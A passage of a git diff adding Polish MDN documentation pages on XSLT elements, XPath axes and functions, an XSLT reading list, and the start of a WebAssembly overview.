+ <li><a href="pl/XSLT/value-of">xsl:value-of</a><em>(częściowo obsługiwany)</em></li>
+ <li><a href="pl/XSLT/variable">xsl:variable</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/when">xsl:when</a><em>(obsługiwany)</em></li>
+ <li><a href="pl/XSLT/with-param">xsl:with-param</a><em>(obsługiwany)</em></li>
+</ul>
+
+<h4 id="Osie_wierzcho.C5.82k.C3.B3w" name="Osie_wierzcho.C5.82k.C3.B3w"><a href="pl/XPath/Osie">Osie wierzchołków</a></h4>
+
+<ul>
+ <li><a href="pl/XPath/Osie/ancestor">ancestor</a></li>
+ <li><a href="pl/XPath/Osie/ancestor-or-self">ancestor-or-self</a></li>
+ <li><a href="pl/XPath/Osie/attribute">attribute</a></li>
+ <li><a href="pl/XPath/Osie/child">child</a></li>
+ <li><a href="pl/XPath/Osie/descendant">descendant</a></li>
+ <li><a href="pl/XPath/Osie/descendant-or-self">descendant-or-self</a></li>
+ <li><a href="pl/XPath/Osie/following">following</a></li>
+ <li><a href="pl/XPath/Osie/following-sibling">following-sibling</a></li>
+ <li><a href="pl/XPath/Osie/namespace">namespace</a><em>(nie obsługiwana)</em></li>
+ <li><a href="pl/XPath/Osie/parent">parent</a></li>
+ <li><a href="pl/XPath/Osie/preceding">preceding</a></li>
+ <li><a href="pl/XPath/Osie/preceding-sibling">preceding-sibling</a></li>
+ <li><a href="pl/XPath/Osie/self">self</a></li>
+</ul>
+
+<h4 id="Funkcje" name="Funkcje"><a href="pl/XPath/Funkcje">Funkcje</a></h4>
+
+<ul>
+ <li><a href="pl/XPath/Funkcje/boolean">boolean()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/ceiling">ceiling()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/concat">concat()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/contains">contains()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/count">count()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/current">current()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/document">document()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/element-available">element-available()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/false">false()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/floor">floor()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/format-number">format-number()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/function-available">function-available()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/generate-id">generate-id()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/id">id()</a><em>(częściowo obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/key">key()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/lang">lang()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/last">last()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/local-name">local-name()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/name">name()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/namespace-uri">namespace-uri()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/normalize-space">normalize-space()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/not">not()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/number">number()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/position">position()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/round">round()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/starts-with">starts-with()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/string">string()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/string-length">string-lenght()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/substring">substring()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/substring-after">substring-after()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/substring-before">substring-before()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/sum">sum()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/system-property">system-property()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/translate">translate()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/true">true()</a><em>(obsługiwana)</em></li>
+ <li><a href="pl/XPath/Funkcje/unparsed-entity-url">unparsed-entity-url()</a><em>(nie obsługiwana)</em></li>
+</ul>
+
+<h3 id="Przeczytaj_wi.C4.99cej" name="Przeczytaj_wi.C4.99cej"><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej">Przeczytaj więcej</a></h3>
+
+<ul>
+ <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Ksi.C4.85.C5.BCki">Książki</a></li>
+ <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Online">Online</a>
+ <ul>
+ <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Konsorcjum_World_Wide_Web">Konsorcjum World Wide Web</a></li>
+ <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Portale">Portale</a></li>
+ <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Artyku.C5.82y">Artykuły</a></li>
+ <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Przewodniki.2FPrzyk.C5.82ady">Przewodniki/Przykłady</a></li>
+ <li><a href="pl/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej#Listy_dyskusyjne.2FGrupy_newsowe">Listy dyskusyjne/Grupy newsowe</a></li>
+ </ul>
+ </li>
+</ul>
+
+<h3 id="Index" name="Index"><a href="pl/Transformacje_XML_z_XSLT/Index">Index</a></h3>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
diff --git a/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_więcej/index.html b/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_więcej/index.html
new file mode 100644
index 0000000000..7eff31a7f4
--- /dev/null
+++ b/files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_więcej/index.html
@@ -0,0 +1,205 @@
+---
+title: Przeczytaj więcej
+slug: Web/XSLT/Transformacje_XML_z_XSLT/Przeczytaj_więcej
+tags:
+ - Transformacje_XML_z_XSLT
+ - Wszystkie_kategorie
+ - XML
+ - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT/For_Further_Reading
+---
+<a href="/pl/docs/Transformacje_XML_z_XSLT">« Transformacje XML z XSLT</a>
+
+<h3 id="Drukowane" name="Drukowane">Drukowane</h3>
+
+<h4 id="Ksi.C4.85.C5.BCki" name="Ksi.C4.85.C5.BCki">Książki</h4>
+
+<dl>
+ <dd><strong>XSLT: Programmer's Reference, Second Edition</strong>
+
+ <dl>
+ <dd><strong>Autor</strong>: Michael H. Kay</dd>
+ <dd><strong>Długość</strong>: 992 stron</dd>
+ <dd><strong>Wydawca</strong>: Wrox; 2 edycja (3 maja 2001)</dd>
+ <dd><strong>ISBN</strong>: 0764543814
+ <dl>
+ <dd>Michael Kay jest członkiem grupy roboczej W3C XSL i autorem swojego własnego, open source'owego procesora XSLT o nazwie Saxon. Jest on również autorem jedynej książki na ten temat, która doczekała się drugiego wydania. Jest to obszerna, dobrze napisana książka, świetnie wyczerpująca temat (czasem może nawet samego czytelnika), opisująca w najdrobniejszych detalach każdy istotny wątek w historii o XSLT.</dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p><span class="comment"><a class="external" href="http://www.amazon.com/XSLT-Programmers-Reference-Programmer/dp/0764543814" rel="freelink">http://www.amazon.com/XSLT-Programme.../dp/0764543814</a></span></p>
+
+<p> </p>
+
+<dl>
+ <dd><strong>XSLT</strong>
+
+ <dl>
+ <dd><strong>Autor</strong>: Doug Tidwell</dd>
+ <dd><strong>Długość</strong>: 473 stron</dd>
+ <dd><strong>Wydawnictwo</strong>: O'Reilly Media; 1 edycja (15 sierpnia 2001)</dd>
+ <dd><strong>ISBN</strong>: 0596000537
+ <dl>
+ <dd>Doug Tidwell jest starszym pracownikiem firmy IBM i ogólnie czołowym kaznodzieją technologii XML. Jest on autorem kilku artykułów i przewodników na temat różnych aspektów XML-a na stronie IBM dotyczącej rozwoju języka XML. Książka ta nie jest w pewien sposób tak pełna jak autorstwa Michaela Kaya, ale dobrze wyjaśnia podstawy przedstawiając jednocześnie nieco interesujących przykładów.</dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p><span class="comment"><a class="external" href="http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537" rel="freelink">http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537</a></span></p>
+
+<p> </p>
+
+<dl>
+ <dd><strong>Learning XML, Second Edition</strong>
+
+ <dl>
+ <dd><strong>Autor</strong>: Erik T. Ray</dd>
+ <dd><strong>Długość</strong>: 432 stron</dd>
+ <dd><strong>Wydawnictwo</strong>: O'Reilly Media; 2 edycja (22 września 2003)</dd>
+ <dd><strong>ISBN</strong>: 0596004206
+ <dl>
+ <dd>Jak wskazuje sam tytuł, jest to ogólny przegląd XML-a. Rozdział 6 jest szczególnie poświęcony XSLT.</dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p><span class="comment"><a class="external" href="http://www.amazon.com/gp/product/0596004206" rel="freelink">http://www.amazon.com/gp/product/0596004206</a></span></p>
+
+<h3 id="Cyfrowe" name="Cyfrowe">Cyfrowe</h3>
+
+<h4 id="Strony_internetowe" name="Strony_internetowe">Strony internetowe</h4>
+
+<dl>
+ <dd><strong>Konsorcjum World Wide Web</strong>
+
+ <dl>
+ <dd><strong>Strona główna W3C</strong>: <a class="external" href="http://www.w3.org/" rel="freelink">http://www.w3.org/</a></dd>
+ <dd><strong>Strona główna XSL</strong>: <a class="external" href="http://www.w3.org/Style/XSL/" rel="freelink">http://www.w3.org/Style/XSL/</a></dd>
+ <dd><strong>Rekomendacja XSLT w wersji 1.0</strong>: <a class="external" href="http://www.w3.org/TR/xslt" rel="freelink">http://www.w3.org/TR/xslt</a></dd>
+ <dd><strong>Archiwum publicznych dyskusji na temat stylów (CSS i XSLT)</strong>: <a class="external" href="http://lists.w3.org/Archives/Public/www-style/" rel="freelink">http://lists.w3.org/Archives/Public/www-style/</a></dd>
+ <dd><strong>Rekomendacja XPath w wersji 1.0</strong>: <a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a>
+ <dl>
+ <dd>Konsorcjum World Wide Web jest organem wydającym Rekomendacje dla wielu technologii internetowych, z których de-facto duża ilość staje się standardami.</dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Artyku.C5.82y" name="Artyku.C5.82y">Artykuły</h4>
+
+<dl>
+ <dd><strong>Hands-on XSL</strong>
+
+ <dl>
+ <dd><strong>Autor</strong>: Don R. Day</dd>
+ <dd><strong>Lokalizacja</strong>: <a class="external" href="http://www-106.ibm.com/developerworks/library/x-hands-on-xsl/" rel="freelink">http://www-106.ibm.com/developerwork...-hands-on-xsl/</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Understanding XSLT</strong>
+
+ <dl>
+ <dd><strong>Autor</strong>: Jay Greenspan</dd>
+ <dd><strong>Lokalizacja</strong>: <a class="external" href="http://hotwired.lycos.com/webmonkey/98/43/index2a.html?tw=authoring" rel="freelink">http://hotwired.lycos.com/webmonkey/...l?tw=authoring</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>What is XSLT?</strong>
+
+ <dl>
+ <dd><strong>Autor</strong>: G. Ken Holman</dd>
+ <dd><strong>Lokalizacja</strong>: <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/index.html" rel="freelink">http://www.xml.com/pub/a/2000/08/holman/index.html</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Przewodniki.2FPrzyk.C5.82ady" name="Przewodniki.2FPrzyk.C5.82ady">Przewodniki/Przykłady</h4>
+
+<dl>
+ <dd><strong>Zvon</strong>
+
+ <dl>
+ <dd><strong>XSL Programmers</strong>: <a class="external" href="http://www.zvon.org/o_html/group_xsl.html" rel="freelink">http://www.zvon.org/o_html/group_xsl.html</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Jeni's XSLT Pages</strong>
+
+ <dl>
+ <dd><strong>Indeks</strong>: <a class="external" href="http://www.jenitennison.com/xslt/" rel="freelink">http://www.jenitennison.com/xslt/</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>XMLPitstop.com</strong>
+
+ <dl>
+ <dd><strong>StyleSheet Center</strong>: <a class="external" href="http://www.xmlpitstop.com/Default.asp?DataType=SSC" rel="freelink">http://www.xmlpitstop.com/Default.asp?DataType=SSC</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>XSL Tutorial</strong>
+
+ <dl>
+ <dd><strong>Indeks</strong>: <a class="external" href="http://www.nwalsh.com/docs/tutorials/xsl/" rel="freelink">http://www.nwalsh.com/docs/tutorials/xsl/</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Inne" name="Inne">Inne</h4>
+
+<dl>
+ <dd><strong>Cover Pages</strong>
+
+ <dl>
+ <dd><strong>Extensible Stylesheet Language (XSL)</strong>: <a class="external" href="http://www.oasis-open.org/cover/xsl.html" rel="freelink">http://www.oasis-open.org/cover/xsl.html</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>XSL-List</strong>
+
+ <dl>
+ <dd><strong>Subskrypcja</strong>: <a class="external" href="http://www.mulberrytech.com/xsl/xsl-list/" rel="freelink">http://www.mulberrytech.com/xsl/xsl-list/</a></dd>
+ <dd><strong>Archiwa</strong>: <a class="external" href="http://www.biglist.com/lists/xsl-list/archives/" rel="freelink">http://www.biglist.com/lists/xsl-list/archives/</a>
+ <dl>
+ <dd>XSL-List jest bardzo aktywną ogólną listą mailingową, hostowaną przez <a class="external" href="http://mulberrytech.com/">Mulberry Technologies</a></dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>mozilla.dev.tech.xslt</strong>
+
+ <dl>
+ <dd><strong>Google Groups</strong>: <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.xslt" rel="freelink">http://groups.google.com/group/mozilla.dev.tech.xslt</a>
+
+ <dl>
+ <dd>Jest to grupa news, która dyskutuje na tematy specyficzne dla XSLT w Netscape.</dd>
+ </dl>
+ </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources" } ) }}</p>
diff --git a/files/pl/web/xslt/value-of/index.html b/files/pl/web/xslt/value-of/index.html
new file mode 100644
index 0000000000..3da1744972
--- /dev/null
+++ b/files/pl/web/xslt/value-of/index.html
@@ -0,0 +1,32 @@
+---
+title: value-of
+slug: Web/XSLT/value-of
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/value-of
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:value-of&gt;</code> ocenia wyrażenie XPath, konwertuje je do ciągu znakowego, który następnie zapisuje do drzewa wynikowego.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:value-of select=WYRAZENIE disable-output-escaping="yes" | "no" /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Określa wyrażenie XPath, które ma być ocenione i zwrócone do drzewa wynikowego.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>disable-output-escaping</code> (Netscape nie dzieli wyników przekształcenia - poniższego "wyjścia" - dlatego atrybut ten jest w zasadzie nieistotny w znaczeniu. Aby otrzymać na wyjściu encje html użyj wartości numerycznych, np. <code>&amp;#160</code> dla <code>&amp;nbsp</code>)
+</dt><dd>Określa czy znaki specjalne są pomijane przy zapisywaniu do wyjścia. Dostępne wartości to "<code>yes</code>" lub "<code>no</code>". Przykładowo, jeżeli ustawiona jest wartość "<code>yes</code>", &lt;tt&gt;&gt;&lt;/tt&gt; jest wyświetlane jako <code>&gt;</code>, a nie jako "<code>&amp;gt</code>".
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wraz z szablonem.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.6.1.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje poza powyższymi przypadkami.
+</p>{{ languages( { "en": "en/XSLT/value-of", "fr": "fr/XSLT/value-of", "ja": "ja/XSLT/value-of" } ) }}
diff --git a/files/pl/web/xslt/variable/index.html b/files/pl/web/xslt/variable/index.html
new file mode 100644
index 0000000000..3a8137da82
--- /dev/null
+++ b/files/pl/web/xslt/variable/index.html
@@ -0,0 +1,35 @@
+---
+title: variable
+slug: Web/XSLT/variable
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/variable
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:variable&gt;</code> deklaruje globalną lub lokalną zmienną w arkuszu i nadaje jej wartość. Ponieważ XSLT nie pozwala na działania pośrednie (ang. <i>side-effects</i>), wartość zmiennej po jej ustaleniu pozostanie ta sama, dopóki zmienna nie wyjdzie poza swój zasięg.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:variable name=NAME select=WYRAZENIE &gt;
+ SZABLON
+&lt;/xsl:variable&gt; </pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Nadaje zmiennej nazwę.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Określa wartość zmiennej poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu lub instrukcja. Jeśli pojawia się jako element najwyższego poziomu, zmienna jest globalna w zasięgu i dostęp do niej może być osiągnięty poprzez cały dokument. Jeśli pojawia się wewnątrz szablonu, zmienna jest lokalna w zasięgu i jest dostępna tylko wewnątrz szablonu, w którym się pojawia.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 11.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/variable", "fr": "fr/XSLT/variable" } ) }}
diff --git a/files/pl/web/xslt/when/index.html b/files/pl/web/xslt/when/index.html
new file mode 100644
index 0000000000..e0a132be76
--- /dev/null
+++ b/files/pl/web/xslt/when/index.html
@@ -0,0 +1,33 @@
+---
+title: when
+slug: Web/XSLT/when
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/when
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:when&gt;</code> zawsze pojawia się wewnątrz elementu <code>&lt;xsl:choose&gt;</code>, działając jak instrukcja wyboru.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:when test=WYRAZENIE&gt;
+ SZABLON
+&lt;/xsl:when&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>test</code>
+</dt><dd>Określa wyrażenie logiczne, które ma zostać ocenione. Jeśli jest prawdziwe, zawartość elementu jest przetwarzana; jeśli fałszywe, zawartość jest ignorowana.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Podinstrukcja, pojawia się zawsze wewnątrz elementu <code>&lt;xsl:choose&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 9.2.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/when", "es": "es/XSLT/when", "fr": "fr/XSLT/when" } ) }}
diff --git a/files/pl/web/xslt/with-param/index.html b/files/pl/web/xslt/with-param/index.html
new file mode 100644
index 0000000000..6d00d21d50
--- /dev/null
+++ b/files/pl/web/xslt/with-param/index.html
@@ -0,0 +1,32 @@
+---
+title: with-param
+slug: Web/XSLT/with-param
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/with-param
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:with-param&gt;</code> ustala wartość parametru, który ma zostać przekazany do szablonu. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:with-param name=NAZWA select=WYRAZENIE&gt;
+ SZABLON
+&lt;/xsl:with-param&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Nadaje nazwę parametrowi. </dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Definiuje wartość parametru poprzez wyrażenie XPath. Jeśli element zawiera szablon, atrybut jest ignorowany.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Podinstrukcja, pojawia się zawsze wewnątrz elementu <code>&lt;xsl:apply-templates&gt;</code> lub <code>&lt;xsl:call-template&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT 11.6
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/with-param", "es": "es/XSLT/with-param", "fr": "fr/XSLT/with-param" } ) }}
diff --git a/files/pl/webassembly/index.html b/files/pl/webassembly/index.html
new file mode 100644
index 0000000000..7981440f91
--- /dev/null
+++ b/files/pl/webassembly/index.html
@@ -0,0 +1,164 @@
+---
+title: WebAssembly
+slug: WebAssembly
+translation_of: WebAssembly
+---
+<div>{{WebAssemblySidebar}}{{SeeCompatTable}}</div>
+
+<p class="summary" dir="ltr" id="docs-internal-guid-22bb55aa-d69e-e8ef-cbc6-aafea272f684">WebAssembly jest nowym rodzajem języka, który może być uruchomiony w nowoczesnych wersjach przeglądarek — jest językiem niskopoziomowym, który działa z szybkością zbliżoną do rozwiązań natywnych i pozwala na kompilacje kodu napisanego w takich językach jak C/C++ do kodu docelowego, który może być użyty  w web.<br>
+ Równocześnie możemy w nim korzystać z Javascript.</p>
+
+<h2 dir="ltr" id="W_skrócie">W skrócie</h2>
+
+<p dir="ltr">WebAssembly ma duży wpływ na całą platformę web - dostarcza sposób na uruchomienie kodu napisanego w wielu różnych językach w przeglądarce z szybkością bliską natywnym rozwiązaniom, co wcześniej nie było możliwe do osiągnięcia. </p>
+
+<p dir="ltr">WebAssembly jest stworzone do uzupełnienia JavaScript - używając WebAssembly JavaScript API, możesz załadować moduły WA do aplikacji JavaScript i współdzielić funkcjonalności. To pozwala Ci skorzystać jednocześnie z wydajności WebAssembly razem z prostotą i elastycznością JavaScript w jednej i tej samej aplikacji, nawet jeśli nie wiesz jak napisać kod WebAssembly.</p>
+
+<p dir="ltr">Co więcej technolgia ta jest rozwijana jako web standard przez <a href="https://www.w3.org/wasm/">W3C WebAssembly Working Group</a> z aktywnym udziałem największych firm technologicznych.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 dir="ltr" id="Przewodnik">Przewodnik</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAssembly/Concepts">Koncepcja WebAssembly</a></dt>
+ <dd>Rozpocznij od przeczytania ogólnej koncepcji stojącej za WebAssembly - co to jest, dlaczego jest przydatne, jak wpasowuje się w platformę web i jak z tego korzystać.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/C_to_wasm">Kompilacja z C/C++ do WebAssembly</a></dt>
+ <dd>Kiedy już napisałeś kod w C/C++, możesz łatwo go skompilować do .wasm korzystając z narzędzi jak <a href="/en-US/docs/">Emscripten</a>. Sprawdźmy jak to działa.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Loading_and_running">Ładowanie i uruchamianie kodu WebAssembly</a></dt>
+ <dd>Kiedy już uzyskasz .wasm, ten artykuł pomoże Ci w jego pobraniu do aplikacji, kompilacji i łączeniu z <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> lub <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> API.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Caching_modules">Cachowanie skompilowanych modułów WebAssembly</a></dt>
+ <dd>Cachowanie dużych modułów WebAssembly po stronie klienckiej jest przydatne dla zwiększenia wydajności uruchamiania aplikacji. Artykuł opisuje jak osiągnąć to za pomocą <a href="/en-US/docs/">IndexedDB</a>.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Korzystanie z WebAssembly JavaScript API</a></dt>
+ <dd>Kiedy już załadujesz moduł .wasm do swojego projektu, będziesz chciał go użyć. Ten artykuł pokaże Ci jak używać modułów WA za pomocą WebAssembly JavaScript API.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Exported_functions">Wyeksportowane funkcje WebAssembly</a></dt>
+ <dd>Wyeksportowane funkcje WebAssembly są odpowiednikiem zwykłych funkcji i pozwalają na wywołanie kodu WebAssembly wewnątrz JavaScript. Artykuł opisuje czym są i jak ich używać.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Understanding_the_text_format">Zrozumieć format tekstowy WebAssembly</a></dt>
+ <dd>Artykuł tłumaczy format tekstowy wasm. Jest to niskopoziomowa tekstowa reprezentacja modułu .wasm pokazywana w przeglądarce w narzędziach developerskich przy debugowaniu.</dd>
+ <dt><a href="/en-US/docs/WebAssembly/Text_format_to_wasm">Konwersja formatu tekstowego WebAssembly do wasm</a></dt>
+ <dd>Dowiesz się tutaj jak skonwertować moduł WebAssembly napisany w formacie tekstowym do modułu binarnego .wasm.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 dir="ltr" id="API">API</h2>
+
+<dl>
+ <dt>{{jsxref("Global_objects/WebAssembly", "WebAssembly")}}</dt>
+ <dd>Obiekt przestrzeni nazw dla wszystkich metod powiązanych z WebAssembly.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module")}}</dt>
+ <dd>Obiekt<code> WebAssembly.Module </code>zawiera bezstanowy kod  WebAssembly, który już został skompilowany przez przeglądarkę i może być skutecznie <a href="/en-US/docs/Web/API/Worker/postMessage">współdzielony z Workerami</a> czy <a href="/en-US/docs/WebAssembly/Caching_modules">zachachowany w IndexedDB</a>.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance")}}</dt>
+ <dd>Obiekt <code>WebAssembly.Instance </code>jest stanową, wykonywalną instancją modułu. Obiekt<code> Instance </code>zawiera wyeksportowane funkcje WebAssembly, które pozwalają na wywołanie bezpośrednio w kodzie JavaScript.</dd>
+ <dd>A <code>WebAssembly.Instance</code> object is a stateful, executable instance of a <code>Module</code>.  <code>Instance</code> objects contain all the <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a> that allow calling into WebAssembly code from JavaScript.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/instantiate", "WebAssembly.instantiate()")}}</dt>
+ <dd><code>WebAssembly.instantiate()</code> jest główną metodą API służącą do kompilowania i tworzenia gotowych do użycia instancji kodu WebAssembly. Zwraca <code>Module</code> oraz <code>Instance</code>.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Memory", "WebAssembly.Memory()")}}</dt>
